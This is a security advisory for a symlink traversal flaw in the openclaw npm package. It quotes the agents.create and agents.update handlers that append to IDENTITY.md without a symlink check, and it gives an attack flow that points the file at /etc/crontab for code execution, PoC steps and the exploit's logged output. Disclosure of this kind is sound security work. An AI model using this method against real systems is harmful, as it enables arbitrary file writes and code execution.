CVE-2026-35632

Description

### Summary The patch for CVE-2026-32013 introduced symlink resolution and workspace boundary enforcement for `agents.files.get` and `agents.files.set`. However, two other handlers in the same file (`agents.create` and `agents.update`) still use raw `fs.appendFile` on the `IDENTITY.md` file **without any symlink containment check**. An attacker who can place a symlink in the agent workspace can hijack the `IDENTITY.md` path to append attacker-controlled content to arbitrary files on the system. ### Details In `src/gateway/server-methods/agents.ts`, the `agents.create` handler constructs the identity path and appends agent metadata without verifying symlinks: ```typescript // agents.create — line 283-291 const identityPath = path.join(workspaceDir, DEFAULT_IDENTITY_FILENAME); const lines = [ "", `- Name: ${safeName}`, ...(emoji ? [`- Emoji: ${sanitizeIdentityLine(emoji)}`] : []), ...(avatar ? [`- Avatar: ${sanitizeIdentityLine(avatar)}`] : []), "", ]; await fs.appendFile(identityPath, lines.join("\n"), "utf-8"); // ← NO SYMLINK CHECK ``` The `agents.update` handler has the same issue at line 348-349: ```typescript // agents.update — line 348-349 const identityPath = path.join(workspace, DEFAULT_IDENTITY_FILENAME); await fs.appendFile(identityPath, `\n- Avatar: ${sanitizeIdentityLine(avatar)}\n`, "utf-8"); // ← NO SYMLINK CHECK ``` `fs.appendFile` follows symlinks by default. If the `IDENTITY.md` file in the workspace is a symlink pointing to a sensitive file (e.g., `/etc/crontab`, `~/.bashrc`, or `~/.ssh/authorized_keys`), calling `agents.create` will append the agent identity metadata to that file. The `ensureAgentWorkspace` function (called at line 274 before the append) uses exclusive-create mode (`flag: 'wx'`) for `IDENTITY.md`. If a symlink already exists at that path, the `EEXIST` error is silently caught, and the subsequent `fs.appendFile` follows the symlink. **Attack flow:** ``` 1. Attacker plants symlink: workspace/IDENTITY.md → /etc/crontab 2. ensureAgentWorkspace skips creation (EEXIST from symlink) 3. fs.appendFile follows symlink → writes to /etc/crontab 4. Attacker-controlled content (name, emoji, avatar) injected into crontab → RCE ``` ### PoC **Prerequisites:** Docker and Python 3 installed. **Step 1: Build and start the test environment.** ```bash cd llm-enhance/cve-finding/RCE/CVE-2026-32013-identity-appendFile-variant-exp/ docker compose up -d --build sleep 3 ``` **Step 2: Run the exploit.** ```bash python3 poc_exploit.py ``` This script: 1. Plants a symlink `IDENTITY.md → /etc/target-file.txt` inside the agent workspace 2. Calls the `agents.create` API endpoint via HTTP POST 3. Verifies that the agent identity metadata was appended to `/etc/target-file.txt` **Step 3: Run the control experiment.** ```bash python3 control-patched_realpath.py ``` **Step 4: Cleanup.** ```bash docker compose down ``` ### Log of Evidence **Exploit output:** ``` === CVE-2026-32013 Variant: Symlink Traversal via IDENTITY.md appendFile === [*] Planting symlink: IDENTITY.md -> /etc/target-file.txt [*] Symlink: lrwxrwxrwx 1 root root 20 /workspaces/evil-agent/IDENTITY.md -> /etc/target-file.txt [*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT [*] Calling agents.create with name='evil-agent'... [*] API response: {'ok': True, 'agentId': 'evil-agent', 'workspace': '/workspaces/evil-agent'} [*] /etc/target-file.txt after exploit: ORIGINAL_SENSITIVE_CONTENT - Name: evil-agent - Emoji: 💀 - Avatar: evil.png [+] SUCCESS! Symlink traversal confirmed. [+] fs.appendFile followed IDENTITY.md symlink and wrote to /etc/target-file.txt [+] Attacker-controlled content injected into arbitrary file. ``` **Control output:** ``` === CONTROL: Patched agents.create blocks symlink traversal === [*] Planting symlink: IDENTITY.md -> /etc/target-file.txt [*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT [*] Calling PATCHED agents.create with name='safe-agent'... [*] API response: {'ok': False, 'error': 'symlink_traversal_blocked', 'realPath': '/etc/target-file.txt'} [*] /etc/target-file.txt after patched call: ORIGINAL_SENSITIVE_CONTENT [+] CONTROL PASSED: Patched endpoint detected and blocked symlink traversal. [+] /etc/target-file.txt remains unchanged. ``` ### Impact An attacker who can plant a symlink in the agent workspace directory can use the `agents.create` or `agents.update` gateway API to **append attacker-controlled content to arbitrary files** on the system. If the target file is: - `/etc/crontab` or user crontab → **Remote Code Execution** - `~/.bashrc` or `~/.profile` → **Persistent code execution on login** - `~/.ssh/authorized_keys` → **Unauthorized SSH access** - Application configuration files → **Service disruption** The attacker-controlled content includes the agent name (arbitrary string), emoji, and avatar fields, which are only lightly sanitized (whitespace normalization via `sanitizeIdentityLine`). ### Affected products - **Ecosystem**: npm - **Package name**: openclaw - **Affected versions**: <= 2026.2.22 - **Patched versions**: None ### Occurrences | Permalink | Description | | :--- | :--- | | [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291) | `agents.create` handler uses `fs.appendFile` on `IDENTITY.md` without symlink resolution or workspace boundary check. | | [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349) | `agents.update` handler uses `fs.appendFile` on `IDENTITY.md` without symlink resolution or workspace boundary check. | | [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274) | `ensureAgentWorkspace` is called before append, but its exclusive-create (`wx`) flag silently skips existing symlinks (EEXIST). |